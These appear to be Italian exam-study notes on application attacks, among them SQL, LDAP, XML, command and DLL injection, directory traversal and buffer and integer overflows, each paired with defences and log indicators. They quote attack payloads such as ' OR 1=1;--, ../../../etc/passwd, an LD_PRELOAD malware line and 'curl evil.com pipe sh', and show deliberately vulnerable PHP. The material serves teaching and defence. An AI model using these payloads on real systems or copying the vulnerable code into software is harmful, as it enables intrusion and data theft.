DECIMAL SQL Language CRUD operations SELECT INSERT UPDATE DELETE SQL (Structured Query Language, pronuncia \u0026quot;sequel\u0026quot;) è il linguaggio usato per comunicare con i database. Le istruzioni SQL leggono, inseriscono, aggiornano ed eliminano dati. Molti siti web usano SQL per interagire con un database e fornire contenuto dinamico agli utenti.\nUn database è un insieme strutturato di dati. Include tipicamente più tabelle, e ogni tabella contiene colonne e righe.\nStruttura di una tabella:\nTermine Sinonimo Cosa identifica Column (colonna) Attribute il tipo di dato — nome, data type (INT, VARCHAR, TEXT) Row (riga) Record, Tuple un singolo elemento — una persona, un libro, una transazione Field (campo) — l'intersezione di una riga e una colonna — il valore specifico Esempio: nella tabella Author, la colonna FirstName identifica il tipo di dato. La riga 2 è il record di Moe Szylak. Il field è il valore Moe — quel singolo elemento nel secondo row della colonna FirstName.\nColumn ↓ AuthorID FirstName LastName StreetAddress City State 1 Lisa Simpson 742 Evergreen Terrace Springfield IDK ← Row 2 Moe Szylak 1313 Walnut Street Springfield IDK ← Row 3 Ned Flanders 744 Evergreen Terrace Springfield IDK ← Row ↑ Field = \u0026#34;Moe\u0026#34; (row 2, colonna FirstName) Schema — relazioni tra tabelle:\nerDiagram Book { INT BookID PK VARCHAR BookName VARCHAR ISBN TEXT Description DECIMAL Cost VARCHAR Publisher VARCHAR PublisherCity } BookAuthor { INT Book_BookID FK INT Author_AuthorID FK VARCHAR Publisher } Author { INT AuthorID PK VARCHAR FirstName VARCHAR LastName VARCHAR StreetAddress VARCHAR City VARCHAR State VARCHAR Zip } Book ||--o{ BookAuthor : \"has\" Author ||--o{ BookAuthor : \"wrote\" BookAuthor è una junction table — crea la relazione many-to-many tra libri e autori. Un libro può avere più autori, un autore può aver scritto più libri. La tabella BookAuthor non dovrebbe esistere concettualmente — è lì per motivi di normalizzazione.\nNormalizzazione — il processo di organizzare tabelle e colonne in un database per ridurre i dati ridondanti. Ogni informazione viene salvata in un solo posto — se cambia, si aggiorna una riga sola, non cento. Non è una difesa contro SQL injection: riguarda la struttura dati, non la sicurezza delle query.\nData types comuni:\nINT — integer, numero intero VARCHAR(n) — variable-length string, max n caratteri alfanumerici TEXT — testo lungo (paragrafi, descrizioni) DECIMAL — valori monetari con decimali SQL Queries # mindmap root((SQL Queries)) CRUD Operations SELECT read INSERT create UPDATE modify DELETE remove Database Structure Tables columns fields rows records Normalization reduce redundant data junction table many-to-many SQL Injection string concatenation attacker injects SQL code or 1 equals 1 always true returns all comment dash dash cuts off rest of query Defense prepared statements params as data never code stored procedures input validation Le quattro operazioni SQL fondamentali (CRUD):\nSELECT * FROM Books WHERE Author = \u0026#39;Darril Gibson\u0026#39; -- legge INSERT INTO Books (Title, Author) VALUES (\u0026#39;Sec+\u0026#39;, \u0026#39;Gibson\u0026#39;) -- inserisce UPDATE Books SET Price = 29.99 WHERE BookID = 1 -- modifica DELETE FROM Books WHERE BookID = 1 -- elimina * è un wildcard — restituisce tutte le colonne. WHERE filtra le righe.\nQuando cerchi su Amazon, la web app costruisce un SELECT con il tuo termine di ricerca e lo manda al database. Il risultato viene formattato in HTML e restituito al browser.\nSQL Injection # mindmap root((SQL Injection)) Root Cause string concatenation user input injected as SQL mad lib analogy Payloads or 1 equals 1 always true all rows returned single quote closes string then inject new statement comment dash dash cuts trailing quote off Mad Lib SELECT FROM WHERE name equals Darril Gibson semicolon SELECT FROM Users comment ignores trailing quote Impact read all data modify delete data admin access Il problema nasce quando il developer costruisce la query concatenando stringhe:\n$query = \u0026#34;SELECT * FROM Books WHERE Author=\u0026#39;\u0026#34; . $input . \u0026#34;\u0026#39;\u0026#34;; Sono tre pezzi fissi incollati insieme — come un mad lib:\n\u0026#34;... WHERE Author=\u0026#39;\u0026#34; + INPUT + \u0026#34;\u0026#39;\u0026#34; Il primo e il terzo pezzo non cambiano mai. L'input va in mezzo. La ' finale è hardcoded nel codice — c'è sempre, qualunque cosa l'utente scriva.\nAttacco 1 — seconda query iniettata:\nL'attaccante scrive questo nel campo di ricerca del form, come testo normale:\nDarril Gibson\u0026#39;; SELECT * FROM Customers;-- Input dell'attaccante: Darril Gibson'; SELECT * FROM Customers;--\n\u0026#34;... WHERE Author=\u0026#39;\u0026#34; + \u0026#34;Darril Gibson\u0026#39;; SELECT * FROM Customers;--\u0026#34; + \u0026#34;\u0026#39;\u0026#34; Query risultante:\nSELECT * FROM Books WHERE Author=\u0026#39;Darril Gibson\u0026#39;; SELECT * FROM Customers;--\u0026#39; ↑ ↑↑ ; termina la prima query -- commenta la \u0026#39; finale La prima query gira normalmente. Il ; segnala fine riga — il database accetta un secondo comando. SELECT * FROM Customers restituisce tutti i clienti con dati, carte di credito incluse. Il -- commenta la ' spaiata finale — senza di esso ci sarebbe un errore di sintassi.\nAttacco 2 — OR 1=1 (always true):\nInput: ' OR 1=1;--\n\u0026#34;... WHERE name=\u0026#39;\u0026#34; + \u0026#34;\u0026#39; OR 1=1;--\u0026#34; + \u0026#34;\u0026#39;\u0026#34; Query risultante:\nSELECT * FROM Customers WHERE name=\u0026#39;\u0026#39; OR 1=1;--\u0026#39; Il ' nell'input chiude subito la stringa aperta dal template — name='' (stringa vuota). Poi OR 1=1 diventa una condizione separata. Poiché 1 è sempre uguale a 1, la condizione è sempre vera — il SELECT restituisce ogni riga della tabella.\n-- si comporta come due SELECT in OR: SELECT * FROM Customers WHERE name=\u0026#39;\u0026#39; -- nessun risultato (nessuno ha nome vuoto) SELECT * FROM Customers WHERE 1=1 -- tutti i record (sempre vero) Bonus — error-based SQLi:\nSe l'app non ha error handling, mandare SQL malformato genera errori che rivelano il tipo di database (MySQL, Oracle, SQL Server), versioni, nomi di tabelle. Punto di partenza classico per mappare il database prima di estrarre dati.\nDifese contro SQL Injection # mindmap root((SQLi Defenses)) Input Validation block special chars semicolon quote dash Prepared Statements template with placeholders DB treats params as data never as SQL code Stored Procedures pre-compiled SQL in DB no concatenation at runtime SIEM Detection Wazuh rule level 12 T1190 pattern or 1 equals 1 alert if sid 31108 1. Input validation — verifica che l'input contenga solo caratteri attesi. Un nome autore non dovrebbe mai contenere ;, ', --.\n2. Stored procedures / Prepared statements — non si costruisce la query come stringa. Si usa un template con placeholder:\n// PHP — prepared statement con PDO $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT * FROM Books WHERE Author = ?\u0026#34;); $stmt-\u0026gt;execute([$input]); // Node — prepared statement const [rows] = await db.execute(\u0026#34;SELECT * FROM Books WHERE Author = ?\u0026#34;, [input]); Il database riceve la query e i parametri separatamente. L'input viene trattato sempre come dato, mai come codice SQL. Anche se l'attaccante inserisce '; DROP TABLE Books;--, il database cerca un autore con quel nome letterale — non esegue nulla.\nCon una stored procedure parametrizzata, l'input Darril Gibson'; SELECT * FROM Customers;-- diventa la stringa di ricerca letterale. Il database cerca libri il cui autore si chiama esattamente Darril Gibson'; SELECT * FROM Customers;-- — non trova nulla, query vuota.\nImportant Exam tip: SQL injection passa query malevole al database attraverso il web server. 'or 1=1 è il payload classico per forzare una condizione sempre vera. Le difese sono input validation e stored procedures / prepared statements.\nVettore applicazione web — form input non validato inserito direttamente in query SQL Causa concatenazione di stringhe per costruire query — l'input viene trattato come codice Effetto voluto leggere, modificare o eliminare dati dal database; estrarre credenziali Difesa input validation, prepared statements / stored procedures parametrizzate, ORM Indicatore caratteri ', ;, -- nei log delle query, errori SQL esposti nelle response HTTP, query con OR 1=1 nei log WAF CIA Triad Confidentiality / Integrity — lettura di dati riservati (C) e modifica o cancellazione di dati (I) Scope database — tutti i dati accessibili dall'account con cui l'app si connette al DB Web Server Logs # mindmap root((Web Server Logs)) What is Logged every HTTP request IP timestamp path response code normal and malicious SQLi Patterns or 1 equals 1 UNION SELECT DROP TABLE 500 error signals query error means attacker mapping SIEM Integration nginx Apache to Wazuh rule triggers on pattern alert level 12 critical Blue Team Value IP of attacker time of attempt what they tried I web server log registrano tutta l'attività sul server: ogni HTTP request degli utenti e le response del server. Includono traffico normale e traffico anomalo — inclusi i tentativi di attacco descritti in questo capitolo.\nGli amministratori hanno accesso ai log solo dei server che controllano — non puoi accedere ai log di Google o Amazon.\nSQLi nei log:\nSe sospetti un attacco SQL injection, cerchi nei log pattern caratteristici:\n'or 1=1 '; SELECT -- alla fine di parametri UNION SELECT, DROP TABLE 192.168.1.50 - - [10/Jun/2026:09:14:22] \u0026#34;GET /search?q=\u0026#39;or+1=1;-- HTTP/1.1\u0026#34; 200 192.168.1.50 - - [10/Jun/2026:09:14:23] \u0026#34;GET /search?q=\u0026#39;; SELECT * FROM Users;-- HTTP/1.1\u0026#34; 500 Il 500 nella seconda riga è un segnale: la query malformata ha generato un errore — l'attaccante sta mappando il database tramite error-based SQLi.\nSIEM — analisi centralizzata:\nInvece di analizzare i log manualmente, i log del web server vengono inviati a un SIEM (Security Information and Event Management). Il SIEM viene configurato con regole che mandano alert automatici quando rileva pattern sospetti.\nnginx/Apache → log → Wazuh (SIEM) → regola: se vede \u0026#39;or 1=1 → alert CRITICO Ad esempio In Wazuh potremmo fare una regola custom per identificare questi tipi di attacchi.\nVettore tecnica investigativa/difensiva — analisi dei log HTTP del web server Causa ogni request HTTP viene loggata, incluse quelle con payload malevoli Effetto voluto rilevare tentativi di attacco (SQLi, XSS, path traversal) e identificare l'IP sorgente Difesa centralizzare i log su SIEM, regole di alerting su pattern noti Indicatore 'or 1=1, UNION SELECT, -- nei parametri delle request, spike di 500 errors da un singolo IP CIA Triad Confidentiality — i log rivelano chi sta tentando cosa e quando Scope server web — tutti i client che inviano request al server Other Application Attacks # mindmap root((Application Attacks)) Memory Vulnerabilities Memory Leak malloc no free RAM grows forever Buffer Overflow beyond buffer boundary DoS privilege escalation NOP sled shellcode Integer Overflow wrap-around arithmetic silent wrong result Injection Attacks DLL Injection LD PRELOAD on Linux malicious so loaded SQL Injection or 1 equals 1 stored procedures LDAP Injection like SQLi for Active Directory XML Injection premature tag close Directory Traversal dot dot slash navigation basename defense XSS Reflected URL parameter echoed server roundtrip Stored DB persistent all visitors affected DOM-based client side only fragment never reaches server Defense input validation primary CSP blocks injected scripts prepared statements patch management Memory Vulnerabilities # mindmap root((Memory Vulnerabilities)) Memory Leak malloc no free RAM consumed over time System crash at extreme C C++ manual management PHP Node GC automatic Buffer Overflow input exceeds buffer size adjacent memory overwritten Memory Injection write malicious code NOP sled to shellcode DoS and Privilege Escalation EIP 0x41414141 in debugger Node allocUnsafe CVE-2016-4078 residual data exposed Integer Overflow fixed-size integer value wraps around 8 bit max 255 then 0 Silent wrong result no error thrown e-commerce price exploit Le vulnerabilità di memoria sfruttano una gestione scorretta della memoria nell'applicazione. In C/C++ la memoria non è gestita automaticamente — il developer alloca e libera manualmente. In linguaggi moderni (PHP, Node, Java, Python) il garbage collector gestisce questo automaticamente, rendendo queste vulnerabilità più rare ma non impossibili.\nMemory Leak # mindmap root((Memory Leak)) Cause malloc without free RAM grows forever Impact performance degradation crash at extreme Languages C and C++ manual PHP Node GC automatic Indicator RAM usage grows slow until reboot Un memory leak è un bug che causa un consumo crescente di memoria più a lungo gira l'applicazione. Nei casi estremi, l'applicazione consuma così tanta RAM che il sistema operativo crasha.\nCausa: l'applicazione alloca memoria per uso temporaneo ma non la rilascia mai.\nIn C/C++ la gestione della memoria è manuale:\nchar *buffer = malloc(1024); // alloca 1024 byte // usa il buffer... free(buffer); // libera — OBBLIGATORIO Se il developer dimentica free(), quei byte rimangono occupati per sempre. Moltiplicato per ogni request HTTP, ogni ciclo, ogni utente — la RAM si riempie gradualmente.\nEsempio: una web app raccoglie dati del profilo utente ad ogni accesso a una pagina per personalizzare l'esperienza — ma non rilascia mai la memoria usata per quei dati. Ogni visita accumula RAM senza liberarla.\nIndicatore principale: sistema che diventa sempre più lento finché non viene riavviato. Rilevabile guardando l'utilizzo di memoria per applicazione nel Task Manager (Windows) o con top/htop (Linux).\nVettore applicazione — bug nel codice che non rilascia memoria allocata Causa malloc() senza free() corrispondente in C/C++; oggetti non dereferenziati in linguaggi con GC Effetto voluto (non intenzionale) degradazione delle performance fino al crash del sistema Difesa code review, tool di analisi memoria (Valgrind), linguaggi con garbage collector Indicatore consumo di RAM in crescita costante, sistema che rallenta progressivamente, crash risolto solo dal reboot CIA Triad Availability — il sistema crasha o diventa inutilizzabile Scope sistema — il processo affetto e potenzialmente il sistema operativo intero Buffer Overflows and Buffer Overflow Attacks # mindmap root((Buffer Overflow)) Trigger input exceeds buffer size adjacent memory overwritten Exploitation Memory Injection NOP sled to shellcode EIP overwrite 0x41414141 in debugger Impact DoS crash Privilege Escalation Defense input validation boundary checking patch management Un buffer overflow si verifica quando un'applicazione riceve più input (o input diverso) di quanto si aspetta. Il risultato è un errore che espone memoria di sistema normalmente protetta e inaccessibile.\nUn'applicazione ha accesso solo a una specifica area di memoria — il suo buffer. Il buffer overflow permette di accedere a locazioni di memoria oltre quel confine, permettendo a un attaccante di scrivere codice malevolo in quella zona.\nEsempio: un'applicazione si aspetta una stringa di 15 caratteri per lo username. Se riceve più di 15 caratteri e tenta di memorizzarli nel buffer, causa un overflow che espone la memoria di sistema:\nGET /index.php?username=ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ Buffer allocato: [ 15 byte ] Input ricevuto: [ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ] ↑ overflow — i byte in eccesso sovrascrivono la memoria adiacente al buffer Il buffer overflow espone la vulnerabilità, ma da solo non causa danno. Quando l'attaccante la scopre, la sfrutta sovrascrivendo locazioni di memoria con il proprio codice — tecnica nota come memory injection.\nL'obiettivo tipico: inserire codice malevolo in una locazione di memoria che il sistema eseguirà. Non è semplice conoscere l'indirizzo esatto — l'attaccante fa tentativi educati per avvicinarsi. Gli indirizzi di memoria sono in esadecimale (0x41414141 = AAAA in ASCII — segnale classico di overflow riuscito nel debugger).\nCaso reale in Node.js — memory disclosure:\nNode.js non permette il classico buffer overflow (V8 gestisce la memoria e tronca silenziosamente), ma Buffer.allocUnsafe() espone un problema simile: alloca memoria non inizializzata che contiene dati residui di sessioni precedenti del processo server.\n// alloca memoria NON inizializzata — contiene dati residui const buf = Buffer.allocUnsafe(100); console.log(buf.toString()); // puoi vedere dati di sessioni precedenti // vulnerabilità reale — Node.js 2016 (CVE-2016-4078): // new Buffer(size) era equivalente a allocUnsafe // un attaccante mandava una request con size come numero intero // il server rispondeva con 100 byte di memoria non inizializzata // che potevano contenere credenziali, token, chiavi di altre sessioni La RAM del processo server non viene pulita tra una sessione e l'altra — quei byte residui restano lì finché qualcosa non li sovrascrive. allocUnsafe li legge direttamente. È un memory disclosure: non esegui codice arbitrario, ma leggi memoria che non dovresti vedere.\nBuffer.alloc(100); // sicuro — zero-inizializzato Buffer.allocUnsafe(100); // pericoloso — non usare mai con input utente Difese:\nError handling e input validation riducono il rischio ma non lo eliminano del tutto Quando i vendor scoprono vulnerabilità di buffer overflow, rilasciano patch o hotfix rapidamente Dal punto di vista dell'amministratore: mantenere i sistemi aggiornati con le patch correnti Vettore applicazione — input che supera la dimensione del buffer allocato Causa assenza di boundary checking — l'applicazione non verifica che l'input rientri nel buffer Effetto voluto esporre memoria di sistema, iniettare codice malevolo (memory injection), eseguire codice arbitrario, privilege escalation (accesso a risorse con privilegi superiori) Difesa input validation, boundary checking, patch management, linguaggi memory-safe Indicatore crash dell'applicazione su input lunghi, EIP = 0x41414141 nel debugger, errori di segmentation fault CIA Triad Integrity / Confidentiality / Availability — codice iniettato esegue azioni arbitrarie (I); memoria esposta rivela dati riservati (C); crash dell'applicazione o del sistema rende il servizio irraggiungibile — è anche un tipo di DoS attack (A) Scope sistema — il processo affetto e potenzialmente l'intero sistema se viene eseguito codice privilegiato Integer Overflow # mindmap root((Integer Overflow)) Cause value exceeds type limit wrap-around arithmetic no error thrown Example 8 bit max 255 256 becomes 0 silent wrong result Risk price exploit negative or zero value Un integer overflow si verifica quando un'applicazione riceve un valore numerico troppo grande per lo spazio allocato. Il risultato non è un crash — è un numero sbagliato silenzioso.\nEsempio: 8 bit possono contenere valori da 0 a 255. Se moltiplichi 95 × 59 = 5.605 e tenti di salvarlo in 8 bit, il numero \u0026quot;avvolge\u0026quot; (wraps around) per aritmetica modulare:\n5.605 mod 256 = 229 Il programma salva 229 invece di 5.605 — nessun errore visibile, risultato completamente sbagliato.\n255 → 11111111 (massimo 8 bit) 256 → 100000000 (9 bit — il nono bit viene droppato → 00000000 = 0) 257 → 00000001 = 1 Perché è pericoloso: un attaccante che conosce questo comportamento può manipolarlo. Caso classico nei videogiochi: overflow del punteggio che riporta il contatore a zero o a un valore negativo. In e-commerce: prezzo che overflow a 0 o negativo — prodotto gratis o rimborso.\nIn PHP e JavaScript non esiste questo problema — i numeri sono float o BigInt, non interi a dimensione fissa. In C, C++, Java, Rust invece gli interi hanno dimensione fissa e l'overflow è reale.\nDifese: verificare la dimensione dei buffer numerici, input validation, error handling. Se l'applicazione non ha routine di eccezione adeguate, un integer overflow può passare silenziosamente inosservato.\nImportant Exam tip buffer overflow: gli attacchi includono spesso istruzioni NOP (0x90) seguite da codice malevolo — la cosiddetta NOP sled. La CPU esegue i NOP (No Operation — non fa nulla, passa all'istruzione successiva) scivolando fino al codice malevolo. Questo rende l'attacco più facile perché l'attaccante non deve conoscere l'indirizzo esatto del codice — basta atterrare da qualche parte nella sled. Input validation aiuta a prevenire buffer overflow.\nVettore applicazione — valore numerico oltre il limite del tipo intero usato Causa assenza di controllo sui limiti del tipo numerico — nessun errore, solo risultato errato Effetto voluto manipolare calcoli (prezzi, punteggi, permessi) sfruttando il wrap-around aritmetico Difesa input validation sui range numerici, tipi numerici adeguati alla dimensione attesa, error handling Indicatore risultati numerici anomali (valori negativi, valori vicini a 0 o a 2^n), comportamento inatteso su input grandi CIA Triad Integrity — i dati elaborati non corrispondono ai valori reali Scope applicazione — colpisce i calcoli specifici dove avviene l'overflow Injection Attacks # mindmap root((Injection Attacks)) DLL Injection shared object so on Linux ldd shows dependencies libcurl libssl libc LD PRELOAD attack malware.so loaded first overrides system functions Heartbleed CVE-2014-0160 libssl out-of-bounds read 64KB RAM per request SQL Injection string concatenation Darril Gibson semicolon SELECT or 1 equals 1 Defense prepared statements LDAP Injection same as SQLi but for Active Directory XML Injection premature tag close inject new XML nodes Command Injection user input piped to shell shell_exec system exec PHP semicolon chains commands cat etc passwd Defense escapeshellarg wraps input use native API not shell Directory Traversal dot dot slash navigation access files outside webroot basename defense strips path keeps filename URL encoding bypass percent2e percent2e percent2f DLL Injection # mindmap root((DLL Injection)) Concept shared library runtime ldd shows dependencies libssl libcurl libc Attack malicious so created LD PRELOAD on Linux overrides system functions Real Case Heartbleed CVE-2014-0160 libssl out-of-bounds read 64KB RAM per request Una DLL (Dynamic Link Library) è un file compilato contenente funzioni riutilizzabili che un'applicazione carica in memoria a runtime invece di riscrivere il codice da zero. Su Linux e macOS si chiamano .so (shared object) o .dylib — stesso concetto, nome diverso.\nEsempio concreto: libmysqlclient.so esiste una volta sul sistema. PHP, Python e Node la usano tutti dalla stessa copia in memoria — nessuno riscrive il codice per connettersi a MySQL.\n# php.ini extension=pdo_mysql.so ← DLL caricata a runtime extension=openssl.so In Node: i package nativi come bcrypt, sharp, canvas usano librerie .so compilate sotto. Quando fai require('sharp'), Node carica una .so in memoria.\nldd mostra quali .so un binario usa a runtime:\nbarno@kali:~$ ldd /usr/bin/curl linux-vdso.so.1 (0x0000ffff8d2bd000) libcurl.so.4 =\u0026gt; /usr/lib/aarch64-linux-gnu/libcurl.so.4 libz.so.1 =\u0026gt; /usr/lib/aarch64-linux-gnu/libz.so.1 libc.so.6 =\u0026gt; /usr/lib/aarch64-linux-gnu/libc.so.6 /lib/ld-linux-aarch64.so.1 .... curl non include il codice HTTP, la compressione gzip o le funzioni C di base — le carica da libcurl.so, libz.so, libc.so. Il path aarch64-linux-gnu indica l'architettura ARM (Kali su Apple Silicon).\nHeartbleed (CVE-2014-0160) — caso reale:\nUna vulnerabilità di memory disclosure in libssl.so (OpenSSL). L'estensione \u0026quot;heartbeat\u0026quot; di TLS permetteva di leggere fino a 64KB di memoria del server per ogni request, senza autenticazione.\nQuella memoria poteva contenere: chiavi private TLS, session token, password di altri utenti, qualsiasi dato passato recentemente dal processo.\nAttaccante → heartbeat request: \u0026#34;rispondimi con 64KB\u0026#34; Server → risponde con 64KB di RAM del processo OpenSSL [sessione utente A, chiave privata, password in chiaro...] Non era un buffer overflow in senso tradizionale — era un out-of-bounds read: il server leggeva oltre il buffer della request e restituiva memoria adiacente. Stesso principio di Buffer.allocUnsafe() in Node.\nPerché la .so condivisa è cruciale qui: aggiornare libssl.so ha fixato simultaneamente Apache, nginx, PHP, Python, curl e tutto il resto. Tutti i processi che usavano OpenSSL erano vulnerabili — e tutti furono protetti con un solo aggiornamento del pacchetto. Circa il 17% di tutti i server HTTPS mondiali era esposto.\nDLL injection: l'attaccante crea una DLL malevola e la inietta in un processo già in esecuzione. I passi:\nCrea malware.dll / malware.so con funzioni malevole Alloca memoria nel processo target Collega la DLL nella memoria allocata Esegue le funzioni della DLL nel contesto del processo Il processo originale gira normalmente — ma ora esegue anche il codice dell'attaccante nel suo stesso spazio di memoria, con i suoi stessi permessi.\nSu Linux — LD_PRELOAD:\nexport LD_PRELOAD=/tmp/malware.so ls # ls carica malware.so prima di qualsiasi altra libreria # le funzioni malevole sostituiscono quelle di sistema (read, write, connect...) LD_PRELOAD dice al linker: \u0026quot;prima di caricare qualsiasi libreria, carica questa\u0026quot;. Le funzioni della .so malevola sovrascrivono quelle originali — l'attaccante può intercettare connessioni, file, credenziali.\nVettore sistema — DLL malevola iniettata in un processo in esecuzione Causa i processi possono caricare librerie dinamiche esterne con i propri permessi Effetto voluto eseguire codice malevolo nel contesto di un processo legittimo, ereditandone i permessi Difesa application whitelisting, controllo integrità delle librerie, monitoraggio LD_PRELOAD, EDR Indicatore processi che caricano DLL da path inattesi, LD_PRELOAD impostato in ambiente, librerie .so in /tmp o path scrivibili CIA Triad Confidentiality / Integrity — codice malevolo gira con i permessi del processo legittimo Scope sistema — il processo iniettato e tutti i dati a cui ha accesso LDAP Injection # mindmap root((LDAP Injection)) Target Active Directory users groups computers Same as SQLi string concatenation wildcard star bypass parenthesis close filter Defense input validation escape special chars LDAP (Lightweight Directory Access Protocol) definisce i formati e i metodi per interrogare database di oggetti di rete — utenti, computer, gruppi. Microsoft Active Directory usa LDAP per accedere agli oggetti del dominio. Nel Mustache Project: mustache.corp su Samba AD risponde a query LDAP.\nUna query LDAP normale ha questa sintassi:\n(\u0026amp;(uid=homer)(department=helpdesk)) Cerca un utente con uid=homer nel reparto helpdesk. Se l'applicazione costruisce questa query concatenando l'input dell'utente (stesso problema di SQL injection):\nquery = \u0026#34;(\u0026amp;(uid=\u0026#34; + input + \u0026#34;)(department=helpdesk))\u0026#34; Attacco: l'operatore ) chiude il filtro prematuramente, * è wildcard — restituisce tutti gli oggetti.\nInput: *\n(\u0026amp;(uid=*)(department=helpdesk)) ↑ wildcard — restituisce tutti gli utenti del reparto Input: homer)(uid=*\n(\u0026amp;(uid=homer)(uid=*)(department=helpdesk)) ↑ sempre vero — restituisce homer ignorando il filtro Il risultato è analogo a OR 1=1 in SQL: il filtro viene aggirato e l'applicazione restituisce più dati di quanto dovrebbe.\nDifesa: input validation — stesso principio di SQL injection. Caratteri speciali LDAP (*, (, ), \\, NUL) vanno escapati prima di usarli nella query.\nSqli... LDAP injection = SQL injection ma per directory service (Active Directory). Stesso vettore, stessa difesa (input validation), target diverso.\nVettore applicazione web — input non validato inserito in query LDAP Causa concatenazione di stringhe per costruire filtri LDAP — stesso problema di SQL injection Effetto voluto accedere a più oggetti del directory di quanto autorizzato (utenti, gruppi, computer) Difesa input validation, escaping dei caratteri speciali LDAP Indicatore query LDAP con wildcard * o parentesi nei log, risposte anomalmente grandi dal directory service CIA Triad Confidentiality — accesso non autorizzato a dati del directory (credenziali, struttura AD) Scope directory service — potenzialmente tutti gli oggetti del dominio XML Injection # mindmap root((XML Injection)) Mechanism close tag prematurely inject new XML nodes Result unexpected objects created second user account Defense input validation encode lt gt amp XML (Extensible Markup Language) è un formato usato per trasferire dati tra sistemi. Molte web application usano XML per scambiare dati strutturati — API, configurazioni, messaggi tra servizi.\nUn documento XML valido per la creazione di un utente:\n\u0026lt;user\u0026gt; \u0026lt;username\u0026gt;Homer\u0026lt;/username\u0026gt; \u0026lt;email\u0026gt;homer@simpson.com\u0026lt;/email\u0026gt; \u0026lt;/user\u0026gt; Attacco: l'attaccante inserisce tag XML nel campo email. Se non c'è input validation, i tag vengono interpretati come struttura XML valida invece che come testo:\nCampo email inserito: homer@simpson.com\u0026lt;/email\u0026gt;\u0026lt;/user\u0026gt;\u0026lt;user\u0026gt;\u0026lt;username\u0026gt;Attacker\u0026lt;/username\u0026gt;\u0026lt;email\u0026gt;attacker@evil.com\u0026lt;/email\u0026gt;\u0026lt;/user\u0026gt; Il documento XML risultante:\n\u0026lt;user\u0026gt; \u0026lt;username\u0026gt;Homer\u0026lt;/username\u0026gt; \u0026lt;email\u0026gt;homer@simpson.com\u0026lt;/email\u0026gt; \u0026lt;/user\u0026gt; \u0026lt;user\u0026gt; \u0026lt;username\u0026gt;Attacker\u0026lt;/username\u0026gt; \u0026lt;email\u0026gt;attacker@evil.com\u0026lt;/email\u0026gt; \u0026lt;/user\u0026gt; Il parser XML vede due blocchi \u0026lt;user\u0026gt; validi. In alcuni casi l'applicazione crea il secondo account (Attacker) e ignora il primo. Stesso meccanismo di SQL e LDAP injection: chiudi prematuramente la struttura e inietti nuovi elementi.\nSchema comune a tutte le injection:\nTipo Struttura iniettata Chiusura prematura SQL '; SELECT ...;-- ' chiude la stringa LDAP *)(uid=* ) chiude il filtro XML \u0026lt;/email\u0026gt;\u0026lt;/user\u0026gt;\u0026lt;user\u0026gt;... \u0026lt;/email\u0026gt;\u0026lt;/user\u0026gt; chiude i tag XSS \u0026lt;script\u0026gt;...\u0026lt;/script\u0026gt; tag HTML iniettati Difesa: input validation — caratteri \u0026lt;, \u0026gt;, \u0026amp;, \u0026quot;, ' vanno HTML-encoded prima di inserirli in XML.\nIndicatore principale: creazione di account inattesi — rilevabile solo con logging e auditing dettagliato.\nVettore applicazione — input con tag XML inserito in un documento XML Causa assenza di input validation — i tag vengono interpretati come struttura, non come testo Effetto voluto manipolare la struttura del documento XML — creare oggetti, modificare dati, bypassare logica Difesa input validation, encoding dei caratteri speciali XML (\u0026lt; → \u0026amp;lt;, \u0026gt; → \u0026amp;gt;) Indicatore creazione di account o oggetti inattesi, anomalie nei log di audit CIA Triad Integrity — dati o oggetti creati/modificati senza autorizzazione Scope applicazione — tutti i sistemi che processano il documento XML risultante Directory Traversal # mindmap root((Directory Traversal)) Mechanism dot dot slash navigation climb outside webroot Bypass URL encoding percent2e percent2e Target Files etc passwd private keys config Defense basename strips path input validation blocks dots Directory traversal è un tipo di injection attack che tenta di accedere a file al di fuori della directory prevista, includendo path di navigazione (../) nell'input.\nSu Linux .. risale di un livello nella struttura delle directory. Un web server che serve file da /var/www/html/ — per arrivare a /etc/passwd servono due livelli su e poi giù in /etc/:\n/var/www/html/ → ../ → /var/www/ → ../ → /var/ → ../ → / → etc/passwd Esempio concreto — query parameter:\nIl server ha questo codice PHP:\n$file = $_GET[\u0026#39;file\u0026#39;]; readfile(\u0026#39;/var/www/html/\u0026#39; . $file); // concatena senza validare Request normale:\nGET /view?file=report.pdf → /var/www/html/report.pdf ✅ Attacco:\nGET /view?file=../../../etc/passwd → /var/www/html/../../../etc/passwd → risolve a /etc/passwd ← lista utenti del sistema Bypass filtri con URL encoding:\nSe il server filtra ../ come stringa letterale, l'attaccante usa l'equivalente URL-encoded:\n%2e%2e%2f = ../ GET /view?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd Il server decodifica l'URL prima di passarlo al filesystem — il filtro non vede ../, ma il path risolto è identico.\nDifesa: input validation che blocca .., /, \\ e i loro equivalenti URL-encoded. Meglio ancora: non usare mai input utente direttamente per costruire path.\nBaseline minima in PHP — basename() elimina qualsiasi path e tiene solo il nome file:\n$file = basename($_GET[\u0026#39;file\u0026#39;]); // rimuove qualsiasi path — tiene solo il nome file $allowed_dir = \u0026#39;/var/www/html/public/\u0026#39;; $full_path = $allowed_dir . $file; basename('../../../etc/passwd') restituisce 'passwd' — i ../ vengono droppati prima di costruire il path. Il path risultante è sempre dentro public/.\nVettore applicazione web — query parameter o form field con path di navigazione Causa input utente concatenato direttamente al path del filesystem senza validazione Effetto voluto leggere file arbitrari sul server (/etc/passwd, chiavi private, file di configurazione) Difesa input validation (blocca .., encoding), allowlist di file, web server con chroot/jail Indicatore ../ o %2e%2e nei log delle request HTTP, accessi a file fuori dalla webroot nei log del server CIA Triad Confidentiality — lettura di file riservati al di fuori della webroot Scope server — qualsiasi file leggibile dal processo web server Command Injection # mindmap root((Command Injection)) Mechanism user input piped to shell shell_exec system exec backtick operator PHP OS interprets semicolons chained commands pipe to another binary Attack semicolon injects new command cat etc passwd curl evil.com pipe sh command substitution dollar parenthesis Defense avoid shell functions use native API instead no shell_exec system exec escapeshellarg per user input wraps in quotes escapes allowlist input values never raw string to shell Exam Trap same root as SQLi injection of untrusted input into interpreter context Command Injection è una vulnerabilità che permette all'attaccante di eseguire comandi arbitrari del sistema operativo attraverso input non validato passato a una funzione shell. È il parente diretto di SQL injection — stesso meccanismo (input non sanitizzato in un interprete), interprete diverso (shell OS invece di database).\nMeccanismo — PHP esempio concreto:\nHai un'applicazione che esegue un ping dato un hostname inserito dall'utente:\n// VULNERABILE — mai fare così $host = $_GET[\u0026#39;host\u0026#39;]; $output = shell_exec(\u0026#34;ping -c 4 \u0026#34; . $host); echo $output; 